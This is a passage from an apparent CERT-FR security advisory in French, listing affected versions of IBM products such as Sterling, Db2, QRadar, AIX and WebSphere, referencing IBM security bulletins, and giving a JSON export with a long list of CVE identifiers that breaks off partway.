IBM	Sterling Partner Engagement Manager Standard Edition	Sterling Partner Engagement Manager Standard Edition versions 6.2.4.x antérieures à 6.2.4.6
IBM	Db2	Db2 Developer Extension versions antérieures à 1.2.1
IBM	Security QRadar Log Management AQL	Security QRadar Log Management AQL Plugin versions antérieures à 1.1.10
IBM	AIX	AIX versions 7.3.x sans le dernier correctif de sécurité
IBM	Sterling Control Center	Sterling Control Center version 6.3.1.0 antérieure à 6.3.1.0 iFix12
IBM	Sterling	Sterling External Authentication Server versions 6.1.x antérieures à 6.1.1.5
IBM	Db2	Db2 on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data versions antérieures à v5.3.1 patch 15
IBM	Sterling Control Center	Sterling Control Center version 6.4.2.0 antérieure à 6.4.2.0 iFix08
IBM	QRadar SIEM	QRadar SIEM versions 7.5.x antérieures à 7.5.0 UP16 IF02
IBM	WebSphere Application Server	WebSphere Application Server versions 9.x antérieures à 9.0.5.29
IBM	WebSphere Application Server	WebSphere Application Server - Liberty versions 17.0.0.3 à 26.0.0.9 sans le dernier correctif de sécurité ou antérieures à 26.0.0.11 (disponibilité prévue pour le dernier trimestre 2026)
IBM	WebSphere Application Server	WebSphere Application Server versions 8.x antérieures à 8.5.5.31
IBM	Sterling Partner Engagement Manager Essentials Edition	Sterling Partner Engagement Manager Essentials Edition versions 6.2.4.x antérieures à 6.2.4.6
IBM	Sterling Partner Engagement Manager Essentials Edition	Sterling Partner Engagement Manager Essentials Edition versions 6.3.0.x antérieures à 6.3.0.4
IBM	Sterling Connect:Direct	Sterling Connect:Direct for UNIX versions 6.3.x antérieures à 6.3.0.7.iFix033
IBM	QRadar SIEM	QRadar SIEM versions 7.6.x antérieures à 7.6.0.5
IBM	Db2	Db2 intelligence center versions antérieures à 1.1.0
IBM	Sterling Connect:Direct	Sterling Connect:Direct for UNIX versions 6.4.x antérieures à 6.4.0.6.iFix025

References

Title

Publication Time

Tags

Bulletin de sécurité IBM 7292213	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292743	2026-10-15	vendor-advisory
Bulletin de sécurité IBM 7292742	2026-10-15	vendor-advisory
Bulletin de sécurité IBM 7292010	2026-10-11	vendor-advisory
Bulletin de sécurité IBM 7292240	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7290903	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292244	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292117	2026-10-12	vendor-advisory
Bulletin de sécurité IBM 7292236	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292232	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292221	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292175	2026-10-12	vendor-advisory
Bulletin de sécurité IBM 7292127	2026-10-12	vendor-advisory
Bulletin de sécurité IBM 7291777	2026-10-08	vendor-advisory
Bulletin de sécurité IBM 7292226	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292372	2026-10-14	vendor-advisory
Bulletin de sécurité IBM 7292228	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292216	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292217	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292219	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292486	2026-10-14	vendor-advisory
Bulletin de sécurité IBM 7292735	2026-10-15	vendor-advisory
Bulletin de sécurité IBM 7292737	2026-10-15	vendor-advisory
Bulletin de sécurité IBM 7292227	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292214	2026-10-13	vendor-advisory
Bulletin de sécurité IBM 7292235	2026-10-13	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Sterling Partner Engagement Manager Standard Edition versions 6.2.4.x ant\u00e9rieures \u00e0 6.2.4.6",
      "product": {
        "name": "Sterling Partner Engagement Manager Standard Edition",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 Developer Extension versions ant\u00e9rieures \u00e0 1.2.1",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Security QRadar Log Management AQL Plugin versions ant\u00e9rieures \u00e0 1.1.10",
      "product": {
        "name": "Security QRadar Log Management AQL",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "AIX versions 7.3.x sans le dernier correctif de s\u00e9curit\u00e9",
      "product": {
        "name": "AIX",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Control Center version 6.3.1.0 ant\u00e9rieure \u00e0 6.3.1.0 iFix12",
      "product": {
        "name": "Sterling Control Center",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling External Authentication Server versions 6.1.x ant\u00e9rieures \u00e0 6.1.1.5",
      "product": {
        "name": "Sterling",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data versions ant\u00e9rieures \u00e0 v5.3.1 patch 15",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Control Center version 6.4.2.0 ant\u00e9rieure \u00e0 6.4.2.0 iFix08",
      "product": {
        "name": "Sterling Control Center",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar SIEM versions 7.5.x ant\u00e9rieures \u00e0 7.5.0 UP16 IF02",
      "product": {
        "name": "QRadar SIEM",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "WebSphere Application Server versions 9.x ant\u00e9rieures \u00e0 9.0.5.29",
      "product": {
        "name": "WebSphere Application Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "WebSphere Application Server - Liberty versions 17.0.0.3 \u00e0 26.0.0.9 sans le dernier correctif de s\u00e9curit\u00e9 ou ant\u00e9rieures \u00e0 26.0.0.11 (disponibilit\u00e9 pr\u00e9vue pour le dernier trimestre 2026)",
      "product": {
        "name": "WebSphere Application Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "WebSphere Application Server versions 8.x ant\u00e9rieures \u00e0 8.5.5.31",
      "product": {
        "name": "WebSphere Application Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Partner Engagement Manager Essentials Edition versions 6.2.4.x ant\u00e9rieures \u00e0 6.2.4.6",
      "product": {
        "name": "Sterling Partner Engagement Manager Essentials Edition",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Partner Engagement Manager Essentials Edition versions 6.3.0.x ant\u00e9rieures \u00e0 6.3.0.4",
      "product": {
        "name": "Sterling Partner Engagement Manager Essentials Edition",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Connect:Direct for UNIX versions 6.3.x ant\u00e9rieures \u00e0 6.3.0.7.iFix033",
      "product": {
        "name": "Sterling Connect:Direct",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar SIEM versions 7.6.x ant\u00e9rieures \u00e0 7.6.0.5",
      "product": {
        "name": "QRadar SIEM",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 intelligence center versions ant\u00e9rieures \u00e0 1.1.0",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Connect:Direct for UNIX versions 6.4.x ant\u00e9rieures \u00e0 6.4.0.6.iFix025",
      "product": {
        "name": "Sterling Connect:Direct",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-14671",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14671"
    },
    {
      "name": "CVE-2026-11548",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11548"
    },
    {
      "name": "CVE-2022-22950",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-22950"
    },
    {
      "name": "CVE-2026-15955",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15955"
    },
    {
      "name": "CVE-2026-47886",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47886"
    },
    {
      "name": "CVE-2026-53091",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53091"
    },
    {
      "name": "CVE-2026-28420",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28420"
    },
    {
      "name": "CVE-2026-93565",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93565"
    },
    {
      "name": "CVE-2026-53192",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53192"
    },
    {
      "name": "CVE-2026-59651",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59651"
    },
    {
      "name": "CVE-2026-68343",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68343"
    },
    {
      "name": "CVE-2026-87795",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87795"
    },
    {
      "name": "CVE-2026-45819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45819"
    },
    {
      "name": "CVE-2020-14621",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-14621"
    },
    {
      "name": "CVE-2026-100666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100666"
    },
    {
      "name": "CVE-2026-82417",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82417"
    },
    {
      "name": "CVE-2020-26939",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-26939"
    },
    {
      "name": "CVE-2026-87877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87877"
    },
    {
      "name": "CVE-2026-93888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93888"
    },
    {
      "name": "CVE-2026-41254",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41254"
    },
    {
      "name": "CVE-2026-101904",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101904"
    },
    {
      "name": "CVE-2026-16239",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16239"
    },
    {
      "name": "CVE-2026-47061",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47061"
    },
    {
      "name": "CVE-2026-32990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32990"
    },
    {
      "name": "CVE-2026-93909",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93909"
    },
    {
      "name": "CVE-2026-11549",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11549"
    },
    {
      "name": "CVE-2026-15742",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15742"
    },
    {
      "name": "CVE-2026-53002",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53002"
    },
    {
      "name": "CVE-2026-59283",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59283"
    },
    {
      "name": "CVE-2026-63384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
    },
    {
      "name": "CVE-2026-100658",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100658"
    },
    {
      "name": "CVE-2026-6469",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6469"
    },
    {
      "name": "CVE-2026-68763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
    },
    {
      "name": "CVE-2026-63921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63921"
    },
    {
      "name": "CVE-2021-22118",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-22118"
    },
    {
      "name": "CVE-2023-33201",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-33201"
    },
    {
      "name": "CVE-2026-52947",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52947"
    },
    {
      "name": "CVE-2026-10050",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10050"
    },
    {
      "name": "CVE-2025-62728",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-62728"
    },
    {
      "name": "CVE-2026-59648",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59648"
    },
    {
      "name": "CVE-2026-85014",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85014"
    },
    {
      "name": "CVE-2026-84445",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
    },
    {
      "name": "CVE-2026-13608",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13608"
    },
    {
      "name": "CVE-2026-78675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78675"
    },
    {
      "name": "CVE-2026-59645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59645"
    },
    {
      "name": "CVE-2026-77791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77791"
    },
    {
      "name": "CVE-2026-67314",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67314"
    },
    {
      "name": "CVE-2016-1000341",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000341"
    },
    {
      "name": "CVE-2013-4002",
      "url": "https://www.cve.org/CVERecord?id=CVE-2013-4002"
    },
    {
      "name": "CVE-2026-45190",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45190"
    },
    {
      "name": "CVE-2026-101902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101902"
    },
    {
      "name": "CVE-2026-76183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76183"
    },
    {
      "name": "CVE-2026-54514",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
    },
    {
      "name": "CVE-2026-43339",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43339"
    },
    {
      "name": "CVE-2026-16702",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16702"
    },
    {
      "name": "CVE-2026-41853",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41853"
    },
    {
      "name": "CVE-2015-5211",
      "url": "https://www.cve.org/CVERecord?id=CVE-2015-5211"
    },
    {
      "name": "CVE-2026-16243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16243"
    },
    {
      "name": "CVE-2026-12185",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12185"
    },
    {
      "name": "CVE-2026-47892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47892"
    },
    {
      "name": "CVE-2026-41854",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41854"
    },
    {
      "name": "CVE-2026-40974",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40974"
    },
    {
      "name": "CVE-2026-47010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47010"
    },
    {
      "name": "CVE-2026-17615",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-17615"
    },
    {
      "name": "CVE-2021-26291",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-26291"
    },
    {
      "name": "CVE-2026-73072",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73072"
    },
    {
      "name": "CVE-2026-24308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24308"
    },
    {
      "name": "CVE-2026-91776",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
    },
    {
      "name": "CVE-2026-76172",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76172"
    },
    {
      "name": "CVE-2026-53239",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53239"
    },
    {
      "name": "CVE-2026-85008",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85008"
    },
    {
      "name": "CVE-2026-88057",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88057"
    },
    {
      "name": "CVE-2023-26464",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-26464"
    },
    {
      "name": "CVE-2016-1000343",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000343"
    },
    {
      "name": "CVE-2026-41839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41839"
    },
    {
      "name": "CVE-2026-13505",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13505"
    },
    {
      "name": "CVE-2026-13221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
    },
    {
      "name": "CVE-2026-103499",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-103499"
    },
    {
      "name": "CVE-2026-93994",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93994"
    },
    {
      "name": "CVE-2026-47891",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47891"
    },
    {
      "name": "CVE-2026-105800",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-105800"
    },
    {
      "name": "CVE-2026-41602",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41602"
    },
    {
      "name": "CVE-2026-68569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
    },
    {
      "name": "CVE-2026-59084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
    },
    {
      "name": "CVE-2026-65183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
    },
    {
      "name": "CVE-2023-20861",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-20861"
    },
    {
      "name": "CVE-2026-2391",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2391"
    },
    {
      "name": "CVE-2026-77756",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77756"
    },
    {
      "name": "CVE-2026-93573",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93573"
    },
    {
      "name": "CVE-2026-84375",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84375"
    },
    {
      "name": "CVE-2016-5725",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-5725"
    },
    {
      "name": "CVE-2026-40977",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40977"
    },
    {
      "name": "CVE-2026-47057",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47057"
    },
    {
      "name": "CVE-2026-41001",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41001"
    },
    {
      "name": "CVE-2026-68525",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
    },
    {
      "name": "CVE-2026-87824",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87824"
    },
    {
      "name": "CVE-2026-63801",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63801"
    },
    {
      "name": "CVE-2026-67321",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67321"
    },
    {
      "name": "CVE-2026-78678",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78678"
    },
    {
      "name": "CVE-2026-67313",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
    },
    {
      "name": "CVE-2026-93905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93905"
    },
    {
      "name": "CVE-2019-17571",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-17571"
    },
    {
      "name": "CVE-2026-15396",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15396"
    },
    {
      "name": "CVE-2020-5398",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-5398"
    },
    {
      "name": "CVE-2026-65637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
    },
    {
      "name": "CVE-2026-49825",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49825"
    },
    {
      "name": "CVE-2026-67315",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67315"
    },
    {
      "name": "CVE-2026-54516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
    },
    {
      "name": "CVE-2016-1000346",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000346"
    },
    {
      "name": "CVE-2026-67320",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67320"
    },
    {
      "name": "CVE-2026-41604",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41604"
    },
    {
      "name": "CVE-2020-5421",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-5421"
    },
    {
      "name": "CVE-2026-68536",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68536"
    },
    {
      "name": "CVE-2026-2006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
    },
    {
      "name": "CVE-2026-54515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
    },
    {
      "name": "CVE-2026-18036",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18036"
    },
    {
      "name": "CVE-2026-16221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16221"
    },
    {
      "name": "CVE-2024-22243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-22243"
    },
    {
      "name": "CVE-2026-6790",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6790"
    },
    {
      "name": "CVE-2026-93895",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93895"
    },
    {
      "name": "CVE-2026-18401",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18401"
    },
    {
      "name": "CVE-2024-29857",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29857"
    },
    {
      "name": "CVE-2023-33202",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-33202"
    },
    {
      "name": "CVE-2026-52942",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52942"
    },
    {
      "name": "CVE-2026-14668",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14668"
    },
    {
      "name": "CVE-2025-41248",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-41248"
    },
    {
      "name": "CVE-2026-68497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
    },
    {
      "name": "CVE-2026-72129",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-72129"
    },
    {
      "name": "CVE-2026-76646",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76646"
    },
    {
      "name": "CVE-2026-104721",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-104721"
    },
    {
      "name": "CVE-2026-105453",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-105453"
    },
    {
      "name": "CVE-2025-35973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-35973"
    },
    {
      "name": "CVE-2026-12860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12860"
    },
    {
      "name": "CVE-2026-16241",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16241"
    },
    {
      "name": "CVE-2026-64563",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64563"
    },
    {
      "name": "CVE-2026-6473",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
    },
    {
      "name": "CVE-2026-78679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78679"
    },
    {
      "name": "CVE-2026-59652",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59652"
    },
    {
      "name": "CVE-2021-4104",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-4104"
    },
    {
      "name": "CVE-2026-71497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71497"
    },
    {
      "name": "CVE-2012-0881",
      "url": "https://www.cve.org/CVERecord?id=CVE-2012-0881"
    },
    {
      "name": "CVE-2026-41992",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
    },
    {
      "name": "CVE-2016-1000345",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000345"
    },
    {
      "name": "CVE-2026-24051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
    },
    {
      "name": "CVE-2026-47885",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47885"
    },
    {
      "name": "CVE-2026-15634",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15634"
    },
    {
      "name": "CVE-2026-55831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
    },
    {
      "name": "CVE-2026-80230",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80230"
    },
    {
      "name": "CVE-2026-68363",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68363"
    },
    {
      "name": "CVE-2026-19534",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19534"
    },
    {
      "name": "CVE-2026-59277",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59277"
    },
    {
      "name": "CVE-2026-71227",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71227"
    },
    {
      "name": "CVE-2026-78677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78677"
    },
    {
      "name": "CVE-2025-22233",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22233"
    },
    {
      "name": "CVE-2016-1000338",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-1000338"
    },
    {
      "name": "CVE-2026-53176",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53176"
    },
    {
      "name": "CVE-2026-31663",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-31663"
    },
    {
      "name": "CVE-2024-22262",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-22262"
    },
    {
      "name": "CVE-2026-43493",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43493"
    },
    {
      "name": "CVE-2026-93442",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93442"
    },
    {
      "name": "CVE-2020-9493",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-9493"
    },
    {
      "name": "CVE-2026-42584",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
    },
    {
      "name": "CVE-2024-38809",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38809"
    },
    {
      "name": "CVE-2026-44249",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
    },
    {
      "name": "CVE-2026-41991",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
    },
    {
      "name": "CVE-2026-59647",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59647"
    },
    {
      "name": "CVE-2026-41844",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41844"
    },
    {
      "name": "CVE-2024-30172",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-30172"
    },
    {
      "name": "CVE-2026-39883",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
    },
    {
      "name": "CVE-2026-45292",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45292"
    },
    {
      "name": "CVE-2026-88059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88059"
    },
    {
      "name": "CVE-2025-67030",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-67030"
    },
    {
      "name": "CVE-2026-41845",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41845"
    },
    {
      "name": "CVE-2026-58059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58059"
    },
    {
      "name": "CVE-2026-50623",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50623"
    },
    {
      "name": "CVE-2026-17463",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-17463"
    },
    {
      "name": "CVE-2024-38820",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38820"
    },
    {
      "name": "CVE-2026-8763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
    },
    {
      "name": "CVE-2026-18408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18408"
    },
    {
      "name": "CVE-2026-42504",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
    },
    {
      "name": "CVE-2026-69247",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69247"
    },
    {
      "name": "CVE-2026-40971",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40971"
    },
    {
      "name": "CVE-2026-68426",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68426"
    },
    {
      "name": "CVE-2026-63917",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63917"
    },
    {
      "name": "CVE-2026-65182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
    },
    {
      "name": "CVE-2026-41842",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41842"
    },
    {
      "name": "CVE-2026-18446",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18446"
    },
    {
      "name": "CVE-2026-53131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53131"
    },
    {
      "name": "CVE-2026-15928",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15928"
    },
    {
      "name": "CVE-2026-84292",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84292"
    },
    {
      "name": "CVE-2026-22740",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22740"
    },
    {
      "name": "CVE-2026-47890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47890"
    },
    {
      "name": "CVE-2026-19385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19385"
    },
    {
      "name": "CVE-2026-56746",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
    },
    {
      "name": "CVE-2026-50634",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50634"
    },
    {
      "name": "CVE-2020-9488",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-9488"
    },
    {
      "name": "CVE-2026-95696",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95696"
    },
    {
      "name": "CVE-2026-41849",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41849"
    },
    {
